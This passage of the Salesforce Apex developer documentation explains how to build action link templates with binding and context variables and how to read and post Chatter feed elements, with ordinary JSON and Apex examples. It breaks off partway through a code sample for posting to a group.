Use the Action Link Diagnostic Information method (ActionLinks.getActionLinkDiagnosticInfo(communityId,
actionLinkId)) to return status codes and errors from executing Api action links. Diagnostic info is given only for users who can
access the action link.
Localized Labels
Action links use a predefined set of localized labels specified in the labelKey property of the
ConnectApi.ActionLinkDefinitionInput Class request body and the Label field of an action link template.
For a list of labels, see Action Links Labels.
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Note: If none of the label key values make sense for your action link, specify a custom label in the Label field of an action link
template and set Label Key to None. However, custom labels aren’t localized.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Action Links Use Case
Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce or
third-party API. An action link can also download a file or open a web page. This topic contains an example use case.
Start a Video Chat from the Feed
Suppose that you work as a Salesforce developer for a company that has a Salesforce org and an account with a fictional company called
“VideoChat.” Users have been saying they want to do more from Salesforce1. You’re asked to create an app that lets users create and
join video chats directly from Salesforce1.
When a user opens the VideoChat app in Salesforce1, they’re asked to name the video chat room and invite either a group or individual
users to the video chat room. When the user clicks OK, the VideoChat app launches the video chat room and posts a feed item to the
selected group or users asking them to Please join the video chat by clicking an action link labeled Join. When an invitee clicks Join,
the action link opens a web page containing the video chat room.
As a developer thinking about how to create the action link URL, you come up with these requirements:
1. When a user clicks Join, the action link URL has to open the video chat room they were invited to.
2. The action link URL has to tell the video chat room who’s joining.
To dynamically create the action link URLs, you create an action link template in Setup.
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For the first requirement, you create a {!Bindings.roomId} binding variable in the Action URL template field. When the
Salesforce1 user clicks OK to create the video chat room, your Apex code generates a unique room ID. The Apex code uses that unique
room ID as the binding variable value when it instantiates the action link group, associates it with the feed item, and posts the feed item.
For the second requirement, the action link must include the user ID. Action links support a predefined set of context variables. When
an action link is invoked, Salesforce substitutes the variables with values. Context variables include information about who clicked the
action link and in what context it was invoked. You decide to include a {!userId} context variable in the Action URL so that
when a user clicks the action link in the feed, Salesforce substitutes the user’s ID and the video chat room knows who’s entering.
This is the action link template for the Join action link.
Every action link must be associated with an action link group. The group defines properties shared by all the action links associated
with it. Even if you’re using a single action link (as in this example) it must be associated with a group. The first field of the action link
template is Action Link Group Template, which in this case is Video Chat, which is the action link group template the
action link template is associated with.
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.
Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations.
An action link is a button on a feed element. Clicking an action link can take a user to a Web page,
initiate a file download, or invoke an API call to Salesforce or to an external server. An action link
includes a URL and an HTTP method, and can include a request body and header information, such
as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal Edition.
In this example, Approve and Reject are action links that make API calls to the REST API of a fictional
travel website to approve or reject an itinerary. When Pam created the itinerary on the travel website, the travel website made a Chatter
REST API request to post the feed item with the action links to Pam’s manager Kevin so that he can approve or reject the itinerary.
Important: Action links are a developer feature. Although you create action link templates in Setup, you must use Apex or Chatter
REST API to generate action links from templates and add them to feed elements.
IN THIS SECTION:
Design Action Link Templates
Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
Create Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
Edit Action Link Templates
You can edit all fields on an unpublished action link group template and on its associated action link templates.
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Delete Action Link Group Templates
When you delete an action link group template, you delete its associated action link templates and all action link groups that have
been instantiated from the templates. Deleted action link groups disappear from any feed elements they've been associated with.
Package Action Link Templates
Package action link templates to distribute them to other Salesforce organizations.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
Design Action Link Templates
Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
• Action Link Templates Overview
• Template Design Considerations
• Set the Action Link Group Expiration Time
• Define Binding Variables
• Set Who Can See the Action Link
• Use Context Variables
Action Link Templates Overview
Here’s an action link group template in Setup:
Each action link group should contain at least one action link. This example action link template has three binding variables: the API
version number in the Action URL, the Item Number in the HTTP Request Body, and the OAuth token value in the HTTP
Header field.
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The Chatter REST API request to instantiate the action link group and set the values of the binding variables:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings":[
{
"key":"ApiVersion",
"value":"v1.0"
},
{
"key":"ItemNumber",
"value":"8675309"
},
{
"key":"BearerToken",
"value":"00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR"
}
]
}
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This is the Apex code that instantiates the action link group from the template and sets the values of the binding variables:
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemNumber', '8675309');
bindingMap.put('BearerToken',
'00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
Template Design Considerations
Considerations for designing a template:
• Determine the expiration time of the action link group.
See Set the Action Link Group Expiration Time.
• Define binding variables in the template and set their values when you instantiate the group. Don’t store sensitive information in
templates. Use binding variables to add sensitive information at run time.
See Define Binding Variables.
• Determine who can see the action link when it’s associated with a feed element.
Set Who Can See the Action Link.
• Use context variables in the template to get information about the execution context of the action link.
When the action link executes, Salesforce fills in the values and sends them in the HTTP request. See Use Context Variables.
Set the Action Link Group Expiration Time
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When creating an action link group from a template, the expiration date can be calculated based on a period provided in the template,
or the action link group can be set not to expire at all.
To set the hours until expiration in a template, enter a value in the Hours until Expiration field of the action link group
template. This value is the number of hours from when the action link group is instantiated until it's removed from associated feed
elements and can no longer be executed. The maximum value is 8760, which is 365 days.
To set the action link group expiration date when you instantiate it, set the expirationDate property of either the Action Link
Group Definition request body (Chatter REST API) or the ConnectApi.ActionLinkGroupDefinition input class (Apex).
To create an action link group that doesn’t expire, don’t enter a value in the Hours until Expiration field of the template
and don’t enter a value for the expirationDate property when you instantiate the action link group.
Here’s how expirationDate and Hours until Expiration work together when creating an action link group from a
template:
• If you specify expirationDate, its value is used in the new action link group.
• If you don’t specify expirationDate and you specify Hours until Expiration in the template, the value of Hours
until Expiration is used in the new action link group.
• If you don’t specify expirationDate or Hours until Expiration, the action link groups instantiated from the template
don’t expire.
Define Binding Variables
Define binding variables in templates and set their values when you instantiate an action link group.
Important: Don’t store sensitive information in templates. Use binding variables to add sensitive information at run time. When
the value of a binding is set, it is stored in encrypted form in Salesforce.
You can define binding variables in the Action URL, HTTP Request Body, and HTTP Headers fields of an action link
template. After a template is published, you can edit these fields, you can move binding variables between these fields, and you can
delete binding variables. However, you can’t add new binding variables.
Define a binding variable’s key in the template. When you instantiate the action link group, specify the key and its value.
Binding variable keys have the form {!Bindings.key}.
The key supports Unicode characters in the predefined \w character class:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].
This Action URL field has two binding variables:
https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}
This HTTP Headers field has two binding variables:
Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}
Specify the keys and their values when you instantiate the action link group in Chatter REST API:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings" : [
{
"key":"ApiVersion",
"value":"1.0"
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},
{
"key":"ItemId",
"value":"8675309"
},
{
"key":"OAuthToken",
"value":"00DRR0000000N0g_!..."
},
{
"key":"ContentType",
"value":"application/json"
}
]
}
Specify the binding variable keys and set their values in Apex:
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemId', '8675309');
bindingMap.put('OAuthToken', '00DRR0000000N0g_!...');
bindingMap.put('ContentType', 'application/json');
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Define the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r';
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
Tip: You can use the same binding variable multiple times in action link templates, and only provide the value once during
instantiation. For example, you could use {!Bindings.MyBinding} twice in the HTTP Request Body field of one
action link template, and again in the HTTP Headers of another action link template within the same action link group
template, and when you instantiate an action link group from the template, you would need to provide only one value for that
shared variable.
Set Who Can See the Action Link
Choose a value from the User Visibility drop-down list to determine who can see the action link after it’s associated with a feed element.
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Among the available options are Only Custom User Can See and Everyone Except Custom User Can See. Choose one of these values to
allow only a specific user to see the action link or to prevent a specific user from seeing it. Then enter a value in the Custom User
Alias field. This value is a binding variable key. In the code that instantiates the action link group, use the key and specify the value
as you would for any binding variable.
This template uses the Custom User Alias value Invitee:
When you instantiate the action link group, set the value just like you would set a binding variable:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings" : [
{
"key":"Invitee",
"value":"005D00000017u6x"
}
]
}
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If the template uses Only creator’s manager can see, a user that doesn’t have a manager receives an error when instantiating an action
link group from the template. In addition, the manager is the manager at the time of instantiation. If the user’s manager changes after
instantiation, that change isn’t reflected.
Use Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
These are the available context variables:
Context Variable
Description
{!actionLinkId}
The ID of the action link the user executed.
{!actionLinkGroupId}
The ID of the action link group containing the action link the user
executed.
{!communityId}
The ID of the community in which the user executed the action
link. The value for your internal organization is the empty key
"000000000000000000".
{!communityUrl}
The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".
{!orgId}
The ID of the organization in which the user executed the action
link.
{!userId}
The ID of the user that executed the action link.
For example, suppose you work for a company called Survey Example and you create an app for the Salesforce AppExchange called
Survey Example for Salesforce. Company A has Survey Example for Salesforce installed. Let’s imagine that someone from company
A goes to surveyexample.com and makes a survey. Your Survey Example code uses Chatter REST API to create a feed item in
Company A’s Salesforce organization with the body text Take a survey, and an action link with the label OK.
This UI action link takes the user from Salesforce to a web page on surveyexample.com to take a survey.
If you include a {!userId} context variable in either the HTTP Request Body or the Action URL for that action link, when
a user clicks the action link in the feed, Salesforce sends the ID of the user who clicked in the HTTP request it makes to your server.
If you include an {!actionLinkId} context variable in the Survey Example server-side code that creates the action link, Salesforce
sends an HTTP request with the ID of the action link and you can save that to your database.
This example includes the {!userId} context variable in the Action URL in the action link template:
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Tip: Binding variables and context variables can be used in the same field. For example, this action URL contains a binding variable
and a context variable:
https://www.example.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
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Create Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations.
Note: In addition to creating action link templates in Setup, you can also use Metadata API,
SOAP API, and REST API to create action link templates.
The Action URL, HTTP Request Body, and HTTP Headers fields support binding
variables and context variables. Define binding variables in a template and set their values when
you instantiate the action link group. Use context variables in a template and when an action link
executes, Salesforce fills in the value and returns it in the request. For information about how to
use these variables in a template, see Design Action Link Templates.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. Click New.
3. Enter the Name of the template. This name is displayed in the list of action link group templates.
This is the only action link group template value you can edit after the action link group template
has been published.
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
USER PERMISSIONS
To create action link group
templates:
• Customize Application
To create action link
templates:
• Customize Application
4. Enter the Developer Name. Use the Developer Name to refer to this template from code. It defaults to a version of the
Developer Name without spaces. Only letters, numbers, and underscores are allowed.
5. Select the Category, which indicates where to display the instantiated action link groups on feed elements. Primary displays
action link groups in the body of feed elements. Overflow displays action link groups in the overflow menu of feed elements.
If an action link group template is Primary, it can contain up to three action link templates. If an action link group template is Overflow,
it can contain up to four action link templates.
6. Select the number of Executions Allowed, which indicates how many times the action link groups instantiated from this
template can be executed. (Action links within a group are mutually exclusive.) If you choose Unlimited, the action links in the group
cannot be of type Api or ApiAsync.
7. (Optional) Enter the Hours until Expiration, which is the number of hours from when the action link group is created
until it's removed from associated feed elements and can no longer be executed. The maximum value is 8760.
See Set the Action Link Group Expiration Time.
8. Click Save.
9. Click New to create an action link template.
The action link template is automatically associated with an action link group template in a master-detail relationship.
10. Select the Action Type.
Values are:
• Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or
FailedStatus based on the HTTP status code returned by your server.
• ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state
until a third party makes a request to /connect/action-links/actionLinkId to set the status to
SuccessfulStatus or FailedStatus when the asynchronous operation is complete.
• Download—The action link downloads a file from the action URL.
• Ui—The action link takes the user to a web page at the action URL.
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11. Enter an Action URL, which is the URL for the action link.
For a UI action link, the URL is a Web page. For a Download action link, the URL is a link to a file to download. For an Api action
link or an ApiAsync action link, the URL is a REST resource.
Links to resources hosted on Salesforce servers can be relative, starting with a /. All other links must be absolute and start with
https://. This field can contain binding variables in the form {!Bindings.key}, for example,
https://www.example.com/{!Bindings.itemId}. Set the binding variable’s value when you instantiate the action
link group from the template, as in this Chatter REST API example, which sets the value of itemId to 8675309.
POST /connect/action-link-group-definitions
{
"templateId" : "07gD00000004C9r",
"templateBindings" : [
{
"key":"itemId",
"value": "8675309"
}
]
}
This field can also contain context variables. Use context variables to pass information about the user who executed the action link
to your server-side code. For example, this action link passes the user ID of the user who clicked on the action link to take a survey
to the server hosting the survey.
actionUrl=https://example.com/doSurvey?surveyId=1234&salesforceUserId={!userId}
12. Enter the HTTP Method to use to make the HTTP request.
13. (Optional) If the Action Type is Api or ApiAsync, enter an HTTP Request Body.
This field can contain binding variables and context variables.
14. (Optional) If the Action Type is Api or ApiAsync, enter HTTP Headers.
This field can contain binding variables and context variables.
If an action link instantiated from the template makes a request to a Salesforce resource, the template must have a Content-Type
header.
15. (Optional) To make this action link the default link in the group (which has special formatting in the UI), select Default Link
in Group. There can be only one default link in a group.
16. (Optional) To display a confirmation dialog to the user before the action link executes, select Confirmation Required.
17. Enter the relative Position of the action link within action link groups instantiated from this template. The first position is 0.
18. Enter the Label Key. This value is the key for a set of UI labels to display for these statuses: NewStatus, PendingStatus,
SuccessfulStatus, FailedStatus.
For example, the Post set contains these labels: Post, Post Pending, Posted, Post Failed. This image shows an action link with
the Post label key when the value of status is SuccessfulStatus:
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19. (Optional) If none of the Label Key values make sense for the action link, set Label Key to None and enter a value in the
Label field.
Action links have four statuses: NewStatus, PendingStatus, SuccessStatus, and FailedStatus. These strings are appended to the label
for each status:
• label
• label Pending
• label Success
• label Failed
For example, if the value of label is “See Example,” the values of the four action link states are: See Example, See Example Pending,
See Example Success, and See Example Failed.
An action link can use either a LabelKey or Label to generate label names, it can’t use both.
20. Select User Visibility, which indicates who can see the action link group.
If you select Only creator’s manager can see, the manager is the creator’s manager when the action link group is instantiated. If
the creator’s manager changes after the action link group is instantiated, that change is not reflected.
21. (Optional) If you selected Only Custom User Can See or Everyone Except Custom User Can See, enter a Custom User Alias.
Enter a string and set its value when you instantiate an action link group, just like you would set the value for a binding variable.
However don’t use the binding variable syntax in the template, just enter a value. For example, you could enter ExpenseApprover.
This Chatter REST API example sets the value of ExpenseApprover to 005B0000000Ge16:
POST /connect/action-link-group-definitions
{
"templateId" : "07gD00000004C9r",
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"templateBindings" : [
{
"key":"ExpenseApprover",
"value": "005B0000000Ge16"
}
]
}
22. To create another action link template for this action link group template, click Save & New.
23. If you’re done adding action link templates to this action link group template, click Save.
24. To publish the action link group template, click Back to List to return to the Action Link Group Template list view.
Important: You must publish a template before you can instantiate an action link group from it in Apex or Chatter REST API.
25. Click Edit for the action link group template you want to publish.
26. Select Published and click Save.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
Edit Action Link Templates
You can edit all fields on an unpublished action link group template and on its associated action
link templates.
EDITIONS
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
Available in: Salesforce
Classic and Lightning
Experience
2. To edit an action link group template, click Edit next to its name.
If the group template isn’t published, edit any field. If it is published, edit the Name field only.
Available in: All editions
except Personal edition.
3. To edit an action link template:
a. Click the name of its master action link group template.
USER PERMISSIONS
b. Click the Action Link Template ID to open the detail page for the action link template.
c. Click Edit.
If the associated action link group template isn’t published, edit any field. If it’s published,
edit any of these fields:
• Action URL
• HTTP Request Body
• HTTP Headers
These fields support context variables and binding variables.
You can add and delete context variables in any of these fields.
You cannot add a new binding variable. You can:
• Move a binding variable to another editable field in an action link template.
• Use a binding variable more than once in an action link template.
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To edit action link group
templates:
• Customize Application
To edit action link templates:
• Customize Application
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• Use a binding variable more than once in any action link templates associated with the same action link group template.
• Remove binding variables.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
Delete Action Link Group Templates
When you delete an action link group template, you delete its associated action link templates and
all action link groups that have been instantiated from the templates. Deleted action link groups
disappear from any feed elements they've been associated with.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. To delete an action link group template, click Del next to its name.
Important: When you delete an action link group template, you delete its associated
action link templates and all action link groups that have been instantiated from the
template. The action link group is deleted from any feed elements it has been associated
with, which means that action links disappear from those posts in the feed.
3. To delete an action link template:
a. Click the name of its master action link group template.
b. Click the Action Link Template ID to open the detail page for the action link template.
c. Click Delete.
Important: You can’t delete an action link template that’s associated with a published
action link group template.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
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EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
USER PERMISSIONS
To delete action link group
templates:
• Customize Application
To delete action link
templates:
• Customize Application
Apex Developer Guide
Using Salesforce Features with Apex
Package Action Link Templates
Package action link templates to distribute them to other Salesforce organizations.
When you add an action link group template, any associated action link templates are also added
to the package. You can add an action link group template to a managed or unmanaged package.
As a packageable component, action link group templates can also take advantage of all the features
of managed packages, such as listing on the AppExchange, push upgrades, post-install Apex scripts,
license management, and enhanced subscriber support. To create a managed package, you must
use a Developer Edition organization.
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.
• See Creating and Editing a Package at https://help.salesforce.com.
USER PERMISSIONS
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element
To package action link
templates:
• Create AppExchange
Package
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Note: Salesforce Help refers to feed items as posts and bundles as bundled posts.
Capabilities
As part of the effort to diversify the feed, pieces of functionality found in feed elements have been broken out into capabilities. Capabilities
provide a consistent way to interact with objects in the feed. Don’t inspect the feed element type to determine which functionality is
available for a feed element. Inspect the capability object, which tells you explicitly what’s available. Check for the presence of a capability
to determine what a client can do to a feed element.
The ConnectApi.FeedElement.capabilities property holds a ConnectApi.FeedElementCapabilities
object, which holds a set of capability objects.
A capability object includes both an indication that a feature is possible and data associated with that feature. If a capability property
exists on a feed element, that capability is available, even if there isn’t any data associated with the capability yet. For example, if the
chatterLikes capability property exists on a feed element (with or without any likes included in the list of likes found in the
chatterLikes.page.items property), the context user can like that feed element. If the capability property doesn’t exist on a
feed element, it isn’t possible to like that feed element.
When posting a feed element, specify its characteristics in the ConnectApi.FeedElementInput.capabilities property.
How the Salesforce UI Displays Feed Items
Note: ConnectApi.FeedItem is a subclass of ConnectApi.FeedElement.
As we learned in Capabilities, clients use the ConnectApi.FeedElement.capabilities property to determine what it can
do with a feed element and how it renders a feed element. For all feed element subclasses other than ConnectApi.FeedItem,
the client doesn’t need to know the subclass type, it can simply look at the capabilities. Feed items do have capabilities, but they also
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have a few properties, such as actor, that aren’t exposed as capabilities. For this reason, clients must handle feed items a bit differently
than other feed elements.
To give customers a consistent view of feed items and to give developers an easy way to create UI, the Salesforce UI uses one layout to
display every feed item. The layout always contains the same pieces and the pieces are always in the same position; only the content of
the layout pieces changes.
The feed item (ConnectApi.FeedItem) layout elements are:
1. Actor (ConnectApi.FeedItem.actor)—A photo or icon of the creator of the feed item. (You can override the creator at
the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.)
2. Header (ConnectApi.FeedElement.header)—Provides context. The same feed item can have a different header depending
on who posted it and where. For example, Gordon posted this feed item to his profile. If he then shared it to a group, the header of
the feed item in the group feed would be “Gordon Johnson (originally posted by Gordon Johnson)”. The “originally posted” text
would link to the feed item on Gordon’s profile.
3. Body (ConnectApi.FeedElement.body)—All feed items have a body, but the body can be null, which is the case when
the user doesn’t provide text for the feed item. Because the body can be null, you can’t use it as the default case for rendering
text. Instead, use the ConnectApi.FeedElement.header.text property, which always contains a value.
4. Auxiliary Body (ConnectApi.FeedElement.capabilities)—The visualization of the capabilities. See Capabilities.
Important: The attachment property is not supported in API versions 32.0 and later. Instead, use the capabilities
property, which holds a ConnectApi.FeedElementCapabilities object, to discover what to render for a feed
element.
5. Created By Timestamp (ConnectApi.FeedElement.relativeCreatedDate)—The date and time when the feed item
was posted. If the feed item is less than two days old, the date and time are formatted as a relative, localized string, for example,
“17m ago” or “Yesterday”. Otherwise, the date and time are formatted as an absolute, localized string.
Here’s another example of a feed item in the Salesforce UI. This feed item’s auxiliary body contains a poll capability:
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How the Salesforce Displays Feed Elements Other Than Feed Items
As we learned in the Capabilities section, a client should use the ConnectApi.FeedElement.capabilities property to
determine what it can do with a feed element and how to render a feed element. This section uses bundles as an example of how to
render a feed element, but these properties are available for every feed element. Capabilities allow you to handle all content in the feed
consistently.
Note: Bundled posts contain feed-tracked changes. In Salesforce1 downloadable apps, bundled posts are in record feeds only.
To give customers a clean, organized feed, Salesforce aggregates feed-tracked changes into a bundle. To see individual feed elements,
click the bundle.
A bundle is a ConnectApi.GenericFeedElement object (which is a concrete subclass of ConnectApi.FeedElement)
with a ConenctApi.BundleCapability. The bundle layout elements are:
1. Header (ConnectApi.FeedElement.header)—For feed-tracked change bundles, this text is “This record was updated.”
The time below the header is the ConnectApi.FeedElement.relativeCreatedDate property.
2. Auxiliary Body (ConnectApi.FeedElement.capabilities.bundle.changes)—The bundle displays the
fieldName and the oldValue and newValue properties for the first two feed-tracked changes in the bundle. If there are
more than two feed-tracked changes, the bundle displays a “Show All Updates” link.
Feed Element Visibility
The feed elements a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security. For
example, if a user doesn’t have access to a record, they don’t see updates for that record. If a user can see the parent of the feed element,
the user can see the feed element. Typically, a user sees feed updates for:
• Feed elements that @mention the user (if the user can access the feed element’s parent)
• Feed elements that @mention groups the user is a member of
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• Record field changes on records whose parent is a record the user can see, including User, Group, and File records
• Feed elements posted to the user
• Feed elements posted to groups the user owns or is a member of
• Feed elements for standard and custom records, for example, tasks, events, leads, accounts, files
Feed Types
There are many types of feeds. Each feed type is an algorithm that defines a collection of feed elements.
Important: The algorithms, and therefore the collection of feed elements, can change between releases.
All feed types except Filter and Favorites are exposed in the ConnectApi.FeedType enum and passed to one of the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed methods. This example gets the feed elements from the
context user’s news feed and topics feed:
ConnectApi.FeedElementPage newsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me');
ConnectApi.FeedElementPage topicsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.Topics, '0TOD00000000cld');
To get a filter feed, call one of the ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed methods. To get
a favorites feed, call one of the ConnectApi.ChatterFavorites.getFeedElements methods.
The feed types and their descriptions are:
• Bookmarks—Contains all feed items saved as bookmarks by the context user.
• Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing
access to its parent.
• DirectMessageModeration—Contains all direct messages that are flagged for moderation. The Direct Message Moderation
feed is available only to users with Moderate Communities Chatter Messages permissions.
• DirectMessages—Contains all feed items of the context user’s direct messages.
• Files—Contains all feed items that contain files posted by people or groups that the context user follows.
• Filter—Contains the news feed filtered to contain feed items whose parent is a specified object type.
• Groups—Contains all feed items from all groups the context user either owns or is a member of.
• Home—Contains all feed items associated with any managed topic in a community.
• Landing—Contains all feed items that best drive user engagement when the feed is requested. Allows clients to avoid an empty
feed when there aren’t many personalized feed items.
• Moderation—Contains all feed items that are flagged for moderation, except direct messages. The Communities Moderation
feed is available only to users with Moderate Community Feeds permissions.
• Mute—Contains all feed items that the context user muted.
• News—Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the context user and every feed item and comment that mentions
the context user or that mentions a group the context user is a member of.
• PendingReview—Contains all feed items and comments that are pending review.
• People—Contains all feed items posted by all people the context user follows.
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• Record—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard
or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user,
the feed contains only feed items on that user. You can get another user’s record feed.
• Streams—Contains all feed items for any combination of up to 25 feed-enabled entities, such as people, groups, and records,
that the context user subscribes to in a stream.
• To—Contains all feed items with mentions of the context user, feed items the context user commented on, and feed items created
by the context user that are commented on.
• Topics—Contains all feed items that include the specified topic.
• UserProfile—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose parent
is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another user’s user profile feed.
• Favorites—Contains favorites saved by the context user. Favorites are feed searches, list views, and topics.
Post a Feed Item Using postFeedElement
Tip: The postFeedElement methods are the simplest, most efficient way to post feed items because, unlike the
postFeedItem methods, they don’t require you to pass a feed type. As of API version 31.0, feed items are the only feed element
type you can post. However, there may be other types in the future.
Use these methods to post feed items:
postFeedElement(String communityId, String subjectId, ConnectApi.FeedElementType
feedElementType, String text)
Posts a feed element with plain text from the context user.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement,
ConnectApi.BinaryInput feedElementFileUpload) (version 35.0 and earlier)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a
file to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element
and add a comment.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement) (version 36.0
and later)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach
already uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to
share a feed element and add a comment.
When you post a feed item, you create a child of a standard or custom object. Specify the parent object in the subjectId parameter
or in the subjectId property of the ConnectApi.FeedElementInput object you pass in the feedElement parameter.
The value of the subjectId parameter determines the feeds in which the feed item is displayed. The parent property in the
returned ConnectApi.FeedItem object contains information about the parent object.
Use these methods to complete these tasks:
Post to yourself
This code posts a feed item to the context user. The subjectId specifies me, which is an alias for the context user’s ID. It could
also specify the context user’s ID.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null, 'me',
ConnectApi.FeedElementType.FeedItem, 'Working from home today.');
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the context user.
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Post to another user
This code posts a feed item to a user other than the context user. The subjectId specifies the user ID of the target user.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
'005D00000016Qxp', ConnectApi.FeedElementType.FeedItem, 'Kevin, do you have information
about the new categories?');
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the target user.
Post to a group
This code posts a feed item with a content attachment to a group. The subjectId specifies the group ID.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
